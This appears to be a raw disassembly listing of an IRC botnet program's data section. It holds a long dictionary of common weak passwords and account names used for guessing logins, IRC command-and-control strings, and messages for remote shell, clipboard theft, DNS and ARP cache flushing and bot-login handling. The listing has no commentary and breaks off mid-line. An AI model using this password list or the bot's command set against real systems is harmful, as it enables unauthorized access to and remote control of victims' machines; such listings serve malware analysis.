; DATA XREF: ___:0042FB30o align 4 aApril db 'april',0 ; DATA XREF: ___:0042FB2Co align 4 aApollo13 db 'apollo13',0 ; DATA XREF: ___:0042FB28o align 4 aAnything db 'anything',0 ; DATA XREF: ___:0042FB24o align 4 aAnvils db 'anvils',0 ; DATA XREF: ___:0042FB20o align 4 aAnthropo db 'anthropo',0 ; DATA XREF: ___:0042FB1Co align 4 aAnthrax db 'anthrax',0 ; DATA XREF: ___:0042FB18o aAnswer db 'answer',0 ; DATA XREF: ___:0042FB14o align 4 aAnonymou db 'anonymou',0 ; DATA XREF: ___:0042FB10o align 4 aAnon db 'anon',0 ; DATA XREF: ___:0042FB0Co align 4 aAnnette db 'annette',0 ; DATA XREF: ___:0042FB08o aAnne db 'anne',0 ; DATA XREF: ___:0042FB04o align 4 aAnna db 'anna',0 ; DATA XREF: ___:0042FB00o align 4 aAnita db 'anita',0 ; DATA XREF: ___:0042FAFCo align 4 aAnimals db 'animals',0 ; DATA XREF: ___:0042FAF8o aAnimal db 'animal',0 ; DATA XREF: ___:0042FAF4o align 4 aAngie db 'angie',0 ; DATA XREF: ___:0042FAF0o align 4 aAngerine db 'angerine',0 ; DATA XREF: ___:0042FAECo align 10h aAngela db 'angela',0 ; DATA XREF: ___:0042FAE8o align 4 aAnfo db 'anfo',0 ; DATA XREF: ___:0042FAE4o align 10h aAndy db 'andy',0 ; DATA XREF: ___:0042FAE0o align 4 aAndromac db 'andromac',0 ; DATA XREF: ___:0042FADCo align 4 aAndroid db 'android',0 ; DATA XREF: ___:0042FAD8o aAndrea db 'andrea',0 ; DATA XREF: ___:0042FAD4o align 4 aAnchor db 'anchor',0 ; DATA XREF: ___:0042FAD0o align 4 aAnarchy db 'anarchy',0 ; DATA XREF: ___:0042FACCo aAnarchis db 'anarchis',0 ; DATA XREF: ___:0042FAC8o align 10h aAnalog db 'analog',0 ; DATA XREF: ___:0042FAC4o align 4 aAnal db 'anal',0 ; DATA XREF: ___:0042FAC0o align 10h aAmorphou db 'amorphou',0 ; DATA XREF: ___:0042FABCo align 4 aAmerica db 'america',0 ; DATA XREF: ___:0042FAB8o aAmber db 'amber',0 ; DATA XREF: ___:0042FAB4o align 4 aAmanda db 'amanda',0 ; DATA XREF: ___:0042FAB0o align 4 aAmadeus db 'amadeus',0 ; DATA XREF: ___:0042FAACo aAlphabet db 'alphabet',0 ; DATA XREF: ___:0042FAA8o align 4 aAllow db 'allow',0 ; DATA XREF: ___:0042FAA4o align 10h aAllison db 'allison',0 ; DATA XREF: ___:0042FAA0o aAlison db 'alison',0 ; DATA XREF: ___:0042FA9Co align 10h aAlisa db 'alisa',0 ; DATA XREF: ___:0042FA98o align 4 aAlicia db 'alicia',0 ; DATA XREF: ___:0042FA94o align 10h aAlice db 'alice',0 ; DATA XREF: ___:0042FA90o align 4 aAliases db 'aliases',0 ; DATA XREF: ___:0042FA8Co aAlias db 'alias',0 ; DATA XREF: ___:0042FA88o align 4 aAlgebra db 'algebra',0 ; DATA XREF: ___:0042FA84o aAlexande db 'alexande',0 ; DATA XREF: ___:0042FA80o align 4 aAlex db 'alex',0 ; DATA XREF: ___:0042FA7Co align 4 aAlert db 'alert',0 ; DATA XREF: ___:0042FA78o align 4 aAlbert db 'albert',0 ; DATA XREF: ___:0042FA74o align 4 aAlbatros db 'albatros',0 ; DATA XREF: ___:0042FA70o align 10h aAlbany db 'albany',0 ; DATA XREF: ___:0042FA6Co align 4 aAlaska db 'alaska',0 ; DATA XREF: ___:0042FA68o align 10h aAirplane db 'airplane',0 ; DATA XREF: ___:0042FA64o align 4 aAids db 'aids',0 ; DATA XREF: ___:0042FA60o align 4 aAerobics db 'aerobics',0 ; DATA XREF: ___:0042FA5Co align 10h aAdult db 'adult',0 ; DATA XREF: ___:0042FA58o align 4 aAdrianna db 'adrianna',0 ; DATA XREF: ___:0042FA54o align 4 aAdrian db 'adrian',0 ; DATA XREF: ___:0042FA50o align 4 aAdam db 'adam',0 ; DATA XREF: ___:0042FA4Co align 4 aAction db 'action',0 ; DATA XREF: ___:0042FA48o align 4 aAccount db 'account',0 ; DATA XREF: ___:0042FA44o aAcademic db 'academic',0 ; DATA XREF: ___:0042FA3Co align 10h aAcademia db 'academia',0 ; DATA XREF: ___:0042FA38o align 4 a000000 db '000000',0 ; DATA XREF: ___:0042FA34o align 4 a00000 db '00000',0 ; DATA XREF: ___:0042FA30o align 4 a0000 db '0000',0 ; DATA XREF: ___:0042FA2Co align 4 a000 db '000',0 ; DATA XREF: ___:0042FA28o aTesting db 'testing',0 ; DATA XREF: ___:0042FA24o aDeath db 'death',0 ; DATA XREF: ___:0042FA20o align 4 a00 db '00',0 ; DATA XREF: ___:0042FA1Co align 4 aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: ___:0042FA14o align 4 aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: ___:0042FA10o align 4 aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: ___:0042FA0Co aXxxxxx db 'xxxxxx',0 ; DATA XREF: ___:0042FA08o align 4 aXxxxx db 'xxxxx',0 ; DATA XREF: ___:0042FA04o align 4 aXxxx db 'xxxx',0 ; DATA XREF: ___:0042FA00o align 4 aXxx db 'xxx',0 ; DATA XREF: ___:0042F9FCo aXx db 'xx',0 ; DATA XREF: ___:0042F9F8o align 4 asc_434C2C: ; DATA XREF: ___:0042F9F4o unicode 0, <x>,0 aGuessme db 'guessme',0 ; DATA XREF: ___:0042F9F0o aYouwontguessme db 'youwontguessme',0 ; DATA XREF: ___:0042F9ECo align 4 aUwontguessme db 'uwontguessme',0 ; DATA XREF: ___:0042F9E8o align 4 aMirc_0 db 'mirc',0 ; DATA XREF: ___:0042F9E4o align 10h aKiddie db 'kiddie',0 ; DATA XREF: ___:0042F9E0o align 4 aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: ___:0042F9DCo align 4 aScript db 'script',0 ; DATA XREF: ___:0042F9D8o align 10h aHax0r db 'hax0r',0 ; DATA XREF: ___:0042F9D4o align 4 aHacker db 'hacker',0 ; DATA XREF: ___:0042F9D0o align 10h aL337 db 'l337',0 ; DATA XREF: ___:0042F9CCo align 4 aL33t db 'l33t',0 ; DATA XREF: ___:0042F9C8o align 10h aLeet db 'leet',0 ; DATA XREF: ___:0042F9C4o align 4 aKiller db 'killer',0 ; DATA XREF: ___:0042F9C0o align 10h a0wn3d db '0wn3d',0 ; DATA XREF: ___:0042F9BCo align 4 aW00t db 'w00t',0 ; DATA XREF: ___:0042F9B8o align 10h aHeaven db 'heaven',0 ; DATA XREF: ___:0042F9B4o align 4 aSpaceman db 'spaceman',0 ; DATA XREF: ___:0042F9B0o align 4 aSatanic db 'satanic',0 ; DATA XREF: ___:0042F9ACo aSatanik db 'satanik',0 ; DATA XREF: ___:0042F9A8o aSatan db 'satan',0 ; DATA XREF: ___:0042F9A4o align 4 aGobo db 'gobo',0 ; DATA XREF: ___:0042F9A0o align 4 aMatthew db 'Matthew',0 ; DATA XREF: ___:0042F99Co aMatt db 'Matt',0 ; DATA XREF: ___:0042F998o align 4 aMat db 'Mat',0 ; DATA XREF: ___:0042F994o aPw db 'pw',0 ; DATA XREF: ___:0042F990o align 4 aMypass123 db 'mypass123',0 ; DATA XREF: ___:0042F98Co align 4 aMypass db 'mypass',0 ; DATA XREF: ___:0042F988o align 10h aPw123 db 'pw123',0 ; DATA XREF: ___:0042F984o align 4 aAdmin123 db 'admin123',0 ; DATA XREF: ___:0042F980o align 4 aMypc123 db 'mypc123',0 ; DATA XREF: ___:0042F97Co aMypc db 'mypc',0 ; DATA XREF: ___:0042F978o align 4 aLove db 'love',0 ; DATA XREF: ___:0042F974o align 4 aPwd db 'pwd',0 ; DATA XREF: ___:0042F970o aLogin db 'login',0 ; DATA XREF: ___:0042F96Co align 4 aHome db 'home',0 ; DATA XREF: ___:0042F968o align 10h aZxcv db 'zxcv',0 ; DATA XREF: ___:0042F964o align 4 aYxcv db 'yxcv',0 ; DATA XREF: ___:0042F960o align 10h aQwer db 'qwer',0 ; DATA XREF: ___:0042F95Co align 4 aSecret db 'secret',0 ; DATA XREF: ___:0042F958o align 10h aAsdf db 'asdf',0 ; DATA XREF: ___:0042F954o align 4 aPc db 'pc',0 ; DATA XREF: ___:0042F950o align 4 aWin db 'win',0 ; DATA XREF: ___:0042F94Co aTest123 db 'test123',0 ; DATA XREF: ___:0042F948o aAbc db 'abc',0 ; DATA XREF: ___:0042F944o aAaa db 'aaa',0 ; DATA XREF: ___:0042F940o aA_1: ; DATA XREF: ___:0042F93Co unicode 0, <a>,0 aCrash db 'crash',0 ; DATA XREF: ___:0042F938o align 4 aFucked db 'fucked',0 ; DATA XREF: ___:0042F934o align 4 aNetfuck db 'netfuck',0 ; DATA XREF: ___:0042F930o aIrule db 'irule',0 ; DATA XREF: ___:0042F92Co align 4 aOwned db 'owned',0 ; DATA XREF: ___:0042F928o align 4 a0wned db '0wned',0 ; DATA XREF: ___:0042F924o align 4 aNetDevil db 'net-devil',0 ; DATA XREF: ___:0042F920o align 10h aNetdevil db 'netdevil',0 ; DATA XREF: ___:0042F91Co align 4 aDevil db 'devil',0 ; DATA XREF: ___:0042F918o align 4 aNilez db 'Nilez',0 ; DATA XREF: ___:0042F914o align 4 aFoobar db 'foobar',0 ; DATA XREF: ___:0042F910o align 4 aGod db 'god',0 ; DATA XREF: ___:0042F90Co aSex db 'sex',0 ; DATA XREF: ___:0042F908o aPat db 'pat',0 ; DATA XREF: ___:0042F904o aPatrick db 'patrick',0 ; DATA XREF: ___:0042F900o aAlpha db 'alpha',0 ; DATA XREF: ___:0042F8FCo align 10h a007 db '007',0 ; DATA XREF: ___:0042F8F8o a123abc db '123abc',0 ; DATA XREF: ___:0042F8F4o align 4 a1234qwer db '1234qwer',0 ; DATA XREF: ___:0042F8F0o align 4 a123123 db '123123',0 ; DATA XREF: ___:0042F8ECo align 10h a121212 db '121212',0 ; DATA XREF: ___:0042F8E8o align 4 a111111 db '111111',0 ; DATA XREF: ___:0042F8E4o align 10h a110 db '110',0 ; DATA XREF: ___:0042F8E0o a2600 db '2600',0 ; DATA XREF: ___:0042F8DCo align 4 a2002 db '2002',0 ; DATA XREF: ___:0042F8D4o align 4 aXp_0 db 'xp',0 ; DATA XREF: ___:0042F8D0o align 4 aEnable db 'enable',0 ; DATA XREF: ___:0042F8CCo align 10h aGodblessyou db 'godblessyou',0 ; DATA XREF: ___:0042F8C8o aIhavenopass db 'ihavenopass',0 ; DATA XREF: ___:0042F8C4o a123asd db '123asd',0 ; DATA XREF: ___:0042F8C0o align 10h aSuper db 'super',0 ; DATA XREF: ___:0042F8BCo align 4 aInternet db 'Internet',0 ; DATA XREF: ___:0042F8B8o align 4 a123qwe db '123qwe',0 ; DATA XREF: ___:0042F8B0o align 4 aSybase db 'sybase',0 ; DATA XREF: ___:0042F8ACo align 4 aAbc123 db 'abc123',0 ; DATA XREF: ___:0042F8A4o align 4 aAbcd db 'abcd',0 ; DATA XREF: ___:0042F8A0o align 4 aPasswd db 'passwd',0 ; DATA XREF: ___:0042F898o align 4 aPass_0 db 'pass',0 ; DATA XREF: ___:0042F894o align 4 a88888888 db '88888888',0 ; DATA XREF: ___:0042F890o align 10h a11111111 db '11111111',0 ; DATA XREF: ___:0042F88Co align 4 a111 db '111',0 ; DATA XREF: ___:0042F888o a54321 db '54321',0 ; DATA XREF: ___:0042F884o align 4 a654321 db '654321',0 ; DATA XREF: ___:0042F880o align 10h a123456789 db '123456789',0 ; DATA XREF: ___:0042F87Co align 4 a12345678 db '12345678',0 ; DATA XREF: ___:0042F878o align 4 a1234567 db '1234567',0 ; DATA XREF: ___:0042F874o a123456 db '123456',0 ; DATA XREF: ___:0042F870o align 4 a12345 db '12345',0 ; DATA XREF: ___:0042F86Co align 10h a1234 db '1234',0 ; DATA XREF: ___:0042F868o align 4 a123 db '123',0 ; DATA XREF: ___:0042F864o a12 db '12',0 ; DATA XREF: ___:0042F860o align 10h a1: ; DATA XREF: ___:0042F85Co unicode 0, <1>,0 aTemp123 db 'temp123',0 ; DATA XREF: ___:0042F858o aChangeme_0 db 'Changeme',0 ; DATA XREF: ___:0042F854o align 4 aChangeme db 'changeme',0 ; DATA XREF: ___:0042F850o align 4 aLinux db 'linux',0 ; DATA XREF: ___:0042F84Co align 4 aUnix db 'unix',0 ; DATA XREF: ___:0042F848o align 4 aLocal db 'LOCAL',0 ; DATA XREF: ___:0042F844o align 4 aPepsi db 'pepsi',0 ; DATA XREF: ___:0042F840o align 4 aServer_0 db 'SERVER',0 ; DATA XREF: ___:0042F83Co align 4 aSystem db 'SYSTEM',0 ; DATA XREF: ___:0042F838o align 4 aBackup db 'BACKUP',0 ; DATA XREF: ___:0042F834o align 4 aAccess db 'ACCESS',0 ; DATA XREF: ___:0042F82Co align 4 aTest db 'TEST',0 ; DATA XREF: ___:0042F828o align 4 aEdu db 'edu',0 ; DATA XREF: ___:0042F824o aOwner_1 db 'Owner',0 ; DATA XREF: ___:0042F820o align 4 aOwner_0 db 'OWNER',0 ; DATA XREF: ___:0042F81Co align 10h aDemo db 'DEMO',0 ; DATA XREF: ___:0042F818o align 4 aFiles db 'FILES',0 ; DATA XREF: ___:0042F814o align 10h aRead db 'READ',0 ; DATA XREF: ___:0042F810o align 4 aBoth db 'BOTH',0 ; DATA XREF: ___:0042F80Co align 10h aLadeda db 'ladeda',0 ; DATA XREF: ___:0042F808o align 4 aFull_0 db 'FULL',0 ; DATA XREF: ___:0042F804o align 10h aWrite db 'WRITE',0 ; DATA XREF: ___:0042F800o align 4 aShare_0 db 'SHARE',0 ; DATA XREF: ___:0042F7FCo align 10h aTemp db 'TEMP',0 ; DATA XREF: ___:0042F7F8o align 4 aPassword db 'PASSWORD',0 ; DATA XREF: ___:0042F7F4o align 4 aAdmin_0 db 'ADMIN',0 ; DATA XREF: ___:0042F7F0o align 4 aRoot_0 db 'ROOT',0 ; DATA XREF: ___:0042F7E8o align 4 aGuest_1 db 'GUEST',0 ; DATA XREF: ___:0042F7E4o align 4 aBla db 'bla',0 ; DATA XREF: ___:0042F7E0o aFubar db 'fubar',0 ; DATA XREF: ___:0042F7DCo align 4 aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: ___:0042F7D0o align 4 aDb2 db 'db2',0 ; DATA XREF: ___:0042F7C0o aOracle db 'oracle',0 ; DATA XREF: ___:0042F7BCo ; ___:0042F8A8o align 4 aDba db 'dba',0 ; DATA XREF: ___:0042F7B8o aDatabase db 'database',0 ; DATA XREF: ___:0042F7B4o ; ___:0042F89Co align 4 aDefault db 'default',0 ; DATA XREF: ___:0042F7B0o ; ___:0042FF3Co aGuest_0 db 'guest',0 ; DATA XREF: ___:0042F7ACo align 4 aWwwadmin db 'wwwadmin',0 ; DATA XREF: ___:0042F7A8o align 10h aTeacher db 'teacher',0 ; DATA XREF: ___:0042F7A4o ; ___:00430ED0o aStudent db 'student',0 ; DATA XREF: ___:0042F7A0o ; ___:00430E18o aOwner db 'owner',0 ; DATA XREF: ___:0042F79Co align 4 aComputer db 'computer',0 ; DATA XREF: ___:0042F798o ; ___:0042F8B4o align 4 aRoot db 'root',0 ; DATA XREF: ___:0042F794o ; ___:0042F7ECo align 4 aStaff db 'staff',0 ; DATA XREF: ___:0042F790o align 4 aAdmin db 'admin',0 ; DATA XREF: ___:0042F78Co align 4 aAdmins db 'admins',0 ; DATA XREF: ___:0042F788o align 4 aAdministrat db 'administrat',0 ; DATA XREF: ___:0042F784o aAdministrateur db 'administrateur',0 ; DATA XREF: ___:0042F780o align 10h aAdministrador db 'administrador',0 ; DATA XREF: ___:0042F77Co align 10h aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:0042F778o ; ___:0042F7D8o align 10h aH4ckerTool db 'h4cker tool',0 ; DATA XREF: ___:off_42F6C8o a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_42F6C4o dword_435118 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: ___:0040E9FBo dd 2BBBB02h, 6F422020h, 74732074h, 65747261h, 2E64h dword_435140 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:0040E929o dword_43514C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EB92+F2o dd 2BBBB02h aConnectedToS_ db ' Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40ECFA+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40ECFA+35o align 10h aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+627Co align 10h aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6264o align 10h dword_4351C0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6257o dd 2BBBB02h aUserSLoggedIn_ db ' User: %s logged in.',0 align 10h dword_4351F0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+623Ao dd 2BBBB02h aAbosal7Accepte db ' ABOSAL7 accepted.',0 dword_43521C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+61D9o dd 2BBBB02h, 462A2020h, 656C6961h, 6F682064h, 61207473h dd 20687475h db 62h byte_435249 db 79h, 3Ah, 20h ; DATA XREF: ___:off_4274DCo dd 21732528h, 2E297325h, 0 dword_435258 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6172o dd 2BBBB02h aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6160o ; sub_40EE72+61C7o align 4 aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6149o ; sub_40EE72+61B0o align 10h asc_4352E0: ; DATA XREF: sub_40EE72+6119o unicode 0, <~>,0 dword_4352E4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+60C9o dd 2BBBB02h aRandomNickChan db ' Random nick change: %s',0 align 4 dword_435318 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6015o dd 2BBBB02h aInvalidLoginSl db ' Invalid login slot number: %d.',0 align 4 dword_435354 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+600Ao dd 2BBBB02h aNoUserLoggedIn db ' No user logged in at slot: %d.',0 align 10h dword_435390 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5FB5o dd 2BBBB02h, 73252020h, 0 unk_4353B0 db 2 ; DATA XREF: sub_40EE72+5F8Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStar_6 db ' Failed to start secure thread, error: <%d>.',0 align 4 dword_4353FC dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_40EE72+5F15o dd 2202967h, 2002BBBBh, 20732520h, 74737973h, 2E6D65h aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40EE72+5F0Fo align 10h aSecuring db 'Securing',0 ; DATA XREF: sub_40EE72+5F08o align 4 aSec db 'sec',0 ; DATA XREF: sub_40EE72+5EADo aSecure db 'secure',0 ; DATA XREF: sub_40EE72+5E9Co align 4 unk_435448 db 2 ; DATA XREF: sub_40EE72+5E91o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0 dword_435490 dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE72+5D6Fo dword_4354A0 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE72+5D6Ao dword_4354AC dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+5D57o dword_4354B8 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_40EE72+5D52o dword_4354C8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5D1Fo dd 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h, 2E676Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B84o align 4 dword_435508 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5CFDo dd 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh, 2E676E69h dd 0 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B62o align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+5CC8o align 4 dword_435558 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5C76o dd 2BBBB02h aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0 align 4 dword_435594 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5C62o dd 2BBBB02h, 6F422020h, 44492074h, 7325203Ah, 2Eh dword_4355BC dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+5C3Do dd 2029671Fh, 2BBBB02h aFailedToStartL db ' Failed to start list thread, error: <%d>.',0 dword_435604 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+5BD2o dd 2029671Fh, 2BBBB02h, 694C2020h, 74207473h, 61657268h dd 2E7364h dword_435630 dd 627573h ; DATA XREF: sub_40EE72+5BACo dword_435634 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5B5Do dd 2BBBB02h, 6C412020h, 20736169h, 7473696Ch, 2Eh dword_43565C dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5B42o dd 2BBBB02h aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_4356A4 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5AD3o dd 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h, 2E67h dword_4356CC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5A36o dd 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh, 2E6F66h dword_4356F4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5A04o dd 2BBBB02h, 79532020h, 6D657473h, 666E4920h, 2E6Fh dword_43571C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+59AFo dd 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh, 2E746Fh unk_435744 db 2 ; DATA XREF: sub_40EE72+599Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_9 db 'Failed to start listing thread, error: <%d>.',0 align 4 dword_435794 dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h ; DATA XREF: sub_40EE72+592Do dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h, 73736563h dd 73696C20h, 2E74h aFull db 'full',0 ; DATA XREF: sub_40EE72+590Do align 4 unk_4357CC db 2 ; DATA XREF: sub_40EE72+58B6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunning db 'Already running.',0 align 10h unk_435800 db 2 ; DATA XREF: sub_40EE72+5893o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 64h, 6Bh db 65h ; e db 79h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aSearchComplete db ' Search completed.',0 align 10h dword_435830 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+584Ao dd 2BBBB02h, 70552020h, 656D6974h, 7325203Ah, 2Eh dword_435858 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4145F9o dd 2BBBB02h aRemoteShellRea db ' Remote shell ready.',0 align 4 dword_435888 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5780o dd 2BBBB02h aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0 align 10h dword_4358C0 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5764o dd 2BBBB02h aRemoteShellAlr db ' Remote shell already running.',0 dword_4358F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5746o dd 2BBBB02h, 65472020h, 6C432074h, 6F627069h, 2E647261h dd 0 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE72+5718o align 4 unk_435938 db 2 ; DATA XREF: sub_40EE72:loc_41457Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushA db ' Failed to flush ARP cache.',0 align 4 unk_435974 db 2 ; DATA XREF: sub_40EE72+56EDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheFlushe db ' ARP cache flushed.',0 align 4 unk_4359A8 db 2 ; DATA XREF: sub_40EE72:loc_41454Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToLoadDn db ' Failed to load dnsapi.dll.',0 align 4 unk_4359E4 db 2 ; DATA XREF: sub_40EE72:loc_414548o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushD db ' Failed to flush DNS cache.',0 align 10h unk_435A20 db 2 ; DATA XREF: sub_40EE72+56CFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDnsCacheFlushe db ' DNS cache flushed.',0 align 4 dword_435A54 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_40EE72+565Fo dd 2029671Fh, 2BBBB02h aFailedToSta_10 db ' Failed to start server thread, error: <%d>.',0 align 10h dword_435AA0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_40EE72+55F4o dd 2029671Fh, 2BBBB02h aServerListen_0 db ' Server listening on IP: %s:%d, Username: %s.',0 align 4 unk_435AEC db 2 ; DATA XREF: sub_40EE72+5528o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 